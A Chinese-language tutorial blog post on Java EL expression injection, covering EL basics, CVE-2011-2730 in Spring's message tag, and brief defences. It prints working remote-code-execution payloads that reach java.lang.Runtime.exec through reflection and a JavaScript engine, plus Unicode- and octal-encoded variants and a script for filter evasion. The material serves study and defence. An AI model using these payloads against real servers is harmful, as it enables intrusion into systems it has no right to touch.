EL表达式注入

EL表达式注入

今天来学习EL表达式注入

前置基础

EL(全称 Expression Language)表达式语言

作用

  • 简化JSP页面内的Java代码
  • 主要作用为 **获取数据 。**从域中获取数据,然后将数据展示出来

用法

使用的前提是通过page标签设置不忽略EL表达式

1
<%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>

基础操作符:

这里我们列出来几个较为重要的算术和逻辑操作符

操作 描述
. 访问一个Bean属性或者一个映射条目 ${param.order}
[] 访问一个数组或者链表的元素 ${param[“order”]}
() 组织一个子表达式以改变优先级

语法

EL表达式的用法为${expression}

例如${<font style="color:rgb(102, 102, 102);">userinfo</font>}代表从中获取变量userinfo的值

而JSP中存在四大域,分别为

  • page:当前页面有效
  • request:当前请求有效
  • session:当前会话有效
  • application:当前应用有效

EL表达式获取数据时,依次从以上四个域中获取,直到寻找到该变量(若没有找到则返回""

有些双亲委派的味道

EL表达式漏洞注入

漏洞原理

EL表达式注入漏洞的漏洞原理是:表达式外部可控导致攻击者注入恶意表达式从而实现任意代码执行,SpEL、OGNL等表达式注入也是一样的漏洞原理

一般来说,EL表达式注入漏洞的外部可控点入口都是在Java程序代码中,即Java程序中的EL表达式内容全部或部分是外部获取的

通用的Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}

//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

//文件头参数
${header}

//获取webRoot
${applicationScope}

//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}

简单的漏洞利用

当存在一个参数`X`可控时,可以插入到JSP页面中

我们将参数X设为以下payload

1
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}

当我们访问JSP页面时,服务端就会解析构造的恶意EL表达式,从而造成EL表达式注入

在实际的应用场景中,几乎没有也无法直接从外部控制JSP页面中的EL表达式的。而且目前已知的EL表达式注入漏洞都是框架层面服务端执行的EL表达式外部可控导致的

简单漏洞场景CVE-2011-2730

参考链接:[https://juejin.cn/post/6844903572077838350](https://juejin.cn/post/6844903572077838350)

正常情况下使用message标签,text属性使用EL表达式从请求中取值

1
2
<%@ taglib uri="http://www.springframework.org/tags" prefix="spring"%>
<spring:message text="${param.a}"></spring:message>

当我们访问以下url时候,${applicationScope}就会被当作EL表达式执行

我们改变EL表达式的内容,就可以达到其他目的

1
http://localhost/tag.jsp?a=${applicationScope}

EL表达式的EXP与基础绕过

基础EXP

1
${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}

利用 ScriptEngine 调用 JS 引擎绕过

引用drun1baby师傅的博客

EL 曾经是 JSTL 的一部分。然后,EL 进入了 JSP 2.0 标准。现在,尽管是 JSP 2.1 的一部分,但 EL API 已被分离到包 javax.el 中, 并且已删除了对核心 JSP 类的所有依赖关系。换句话说:EL 已准备好在非 JSP 应用程序中使用!

也就是说,现在 EL 表达式所依赖的包 javax.el 等都在 JUEL 相关的 jar 包中。

JUEL(Java Unified Expression Language)是统一表达语言轻量而高效级的实现,具有高性能,插件式缓存,小体积,支持方法调用和多参数调用,可插拔多种特性。

需要的 jar 包:juel-api-2.2.7、juel-spi-2.2.7、juel-impl-2.2.7

在pom.xml中导入依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-impl</artifactId>
<version>2.2.7</version>
</dependency>
<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-api</artifactId>
<version>2.2.7</version>
</dependency>
<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-spi</artifactId>
<version>2.2.7</version>
</dependency>

运行后,通过反射调用Runtime类,成功执行恶意代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package drunkbaby.basicelvul;  

import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;

import javax.el.ExpressionFactory;
import javax.el.ValueExpression;

public class ScriptEngineExec {
public static void main(String[] args) {
ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
SimpleContext simpleContext = new SimpleContext();
String exp = "${''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('Calc.exe')\")}\n" + " ";
ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);
valueExpression.getValue(simpleContext);
}
}

利用 Unicode 编码绕过

对可利用的poc进行全部或者部分的Unicode编码都是可以的
1
2
// Unicode编码内容为前面反射调用的PoC
\u0024\u007b\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0065\u0078\u0065\u0063\u0027\u002c\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u006e\u0075\u006c\u006c\u0029\u002c\u0027\u0063\u0061\u006c\u0063\u002e\u0065\u0078\u0065\u0027\u0029\u007d

利用八进制编码绕过

1
2
// 八进制编码内容为前面反射调用的PoC
\44\173\47\47\56\147\145\164\103\154\141\163\163\50\51\56\146\157\162\116\141\155\145\50\47\152\141\166\141\56\154\141\156\147\56\122\165\156\164\151\155\145\47\51\56\147\145\164\115\145\164\150\157\144\50\47\145\170\145\143\47\54\47\47\56\147\145\164\103\154\141\163\163\50\51\51\56\151\156\166\157\153\145\50\47\47\56\147\145\164\103\154\141\163\163\50\51\56\146\157\162\116\141\155\145\50\47\152\141\166\141\56\154\141\156\147\56\122\165\156\164\151\155\145\47\51\56\147\145\164\115\145\164\150\157\144\50\47\147\145\164\122\165\156\164\151\155\145\47\51\56\151\156\166\157\153\145\50\156\165\154\154\51\54\47\143\141\154\143\56\145\170\145\47\51\175

JohnFord 编码脚本如下

1
2
3
4
5
6
str = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}"
result = ""
for s in str:
num = "\\" + oct(ord(s))
result += num
print(result.replace("\\0", "\\"))

防御方法

  • 尽量不使用外部输入的内容作为EL表达式的内容
  • 若使用,严格过滤EL表达式注入漏洞payload关键字
  • 如果是排查Java程序中JURL相关代码,则搜索如下关键类方法
1
2
javax.el.ExpressionFactory.createValueExpression()
javax.el.ValueExpression.getValue()